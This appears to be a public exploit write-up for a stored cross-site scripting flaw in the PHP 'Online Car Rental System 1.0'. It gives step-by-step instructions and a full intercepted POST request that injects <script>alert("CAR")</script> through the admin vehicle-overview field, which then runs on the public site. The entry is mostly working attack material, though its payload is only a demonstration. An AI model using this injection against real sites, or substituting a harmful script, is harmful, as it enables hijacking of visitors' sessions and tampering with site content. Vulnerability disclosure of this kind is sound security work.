# Exploit Title: Online Car Rental System 1.0 - Stored Cross Site Scripting
# Date: 9/2/2021
# Exploit Author: Naved Shaikh
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/cc/14145/online-car-rental-system-using-phpmysql.html
# Version: V 1.0
# Tested on Windows 10, XAMPP
Steps:
1) Open http://localhost/car-rental/admin/post-avehical.php
2) Fill All the details on the page. After submitting, capture the request and change the "vehicalorcview" parameter with our Payload "<script>alert("CAR")</script>" and submit
3) Open the http://localhost/car-rental/ and our Payload excuted.
Request
POST /car-rental/admin/post-avehical.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13786099262839578593645594965
Content-Length: 2724377
Origin: http://localhost
Connection: close
Referer: http://localhost/car-rental/admin/post-avehical.php
Cookie: PHPSESSID=h5ubatunno8u9130c4eq77anf2
Upgrade-Insecure-Requests: 1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="vehicletitle"
TestName
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="brandname"
2
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="vehicalorcview"
<script>alert("CAR")</script>
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="priceperday"
200
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="fueltype"
Diesel
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="modelyear"
2008
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="seatingcapacity"
22
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="img1"; filename="Untitled.png"
Content-Type: image/png
PNG
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="img5"; filename=""
Content-Type: application/octet-stream
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="powerdoorlocks"
1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="antilockbrakingsys"
1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="driverairbag"
1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="passengerairbag"
1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="centrallocking"
1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="crashcensor"
1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="submit"
-----------------------------13786099262839578593645594965--
